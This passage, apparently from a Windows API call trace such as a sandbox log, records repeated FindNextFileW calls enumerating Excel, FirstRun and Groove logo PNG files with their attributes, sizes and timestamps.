cFileName="ExcelLogo.scale-180.png", cAlternateFileName="EX5FD7~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x839, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.scale-80.png", cAlternateFileName="EXDA38~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-100.png", cAlternateFileName="EX71FE~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-140.png", cAlternateFileName="EXCE73~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-180.png", cAlternateFileName="EX8CA4~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-black_scale-80.png", cAlternateFileName="EX98BE~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x725, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-100.png", cAlternateFileName="EX82AE~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-140.png", cAlternateFileName="EXB07C~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-180.png", cAlternateFileName="EX0EF0~1.PNG")) returned 1 [0283.485] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.contrast-white_scale-80.png", cAlternateFileName="EX8CE6~1.PNG")) returned 1 [0283.486] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-100.png", cAlternateFileName="EX3CF4~1.PNG")) returned 1 [0283.486] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x870, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-140.png", cAlternateFileName="EX3590~1.PNG")) returned 1 [0283.486] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-180.png", cAlternateFileName="EXE70C~1.PNG")) returned 1 [0283.486] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-80.png", cAlternateFileName="EX97E8~1.PNG")) returned 1 [0283.486] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-100.png", cAlternateFileName="FIRSTR~4.PNG")) returned 1 [0283.486] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-140.png", cAlternateFileName="FIRSTR~3.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa81, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-180.png", cAlternateFileName="FI9FD2~1.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-80.png", cAlternateFileName="FI357C~1.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-100.png", cAlternateFileName="FIRSTR~2.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95f, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-140.png", cAlternateFileName="FIRSTR~1.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-180.png", cAlternateFileName="FI8E23~1.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-80.png", cAlternateFileName="FI4144~1.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-100.png", cAlternateFileName="FI1EC9~1.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-140.png", cAlternateFileName="FIBF57~1.PNG")) returned 1 [0283.487] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-180.png", cAlternateFileName="FI9277~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-80.png", cAlternateFileName="FI8090~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-100.png", cAlternateFileName="FI5507~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x698, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-140.png", cAlternateFileName="FI782A~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-180.png", cAlternateFileName="FID9A4~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x552, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-80.png", cAlternateFileName="FI5606~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-100.png", cAlternateFileName="FID3BA~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-140.png", cAlternateFileName="FI1689~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-180.png", cAlternateFileName="FIB7A7~1.PNG")) returned 1 [0283.488] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-80.png", cAlternateFileName="FI5C4C~1.PNG")) returned 1 [0283.489] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-100.png", cAlternateFileName="FI2DF7~1.PNG")) returned 1 [0283.489] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-140.png", cAlternateFileName="FIFE2A~1.PNG")) returned 1 [0283.489] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-180.png", cAlternateFileName="FIA1A5~1.PNG")) returned 1 [0283.489] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x537, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-80.png", cAlternateFileName="FIED60~1.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-100.png", cAlternateFileName="GROOVE~1.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-140.png", cAlternateFileName="GROOVE~2.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199e0c45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199e0c45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-180.png", cAlternateFileName="GRA3AD~1.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x768, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-80.png", cAlternateFileName="GR0C5F~1.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-100.png", cAlternateFileName="GRADA3~1.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-140.png", cAlternateFileName="GR7FD5~1.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-180.png", cAlternateFileName="GR2251~1.PNG")) returned 1 [0283.490] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, 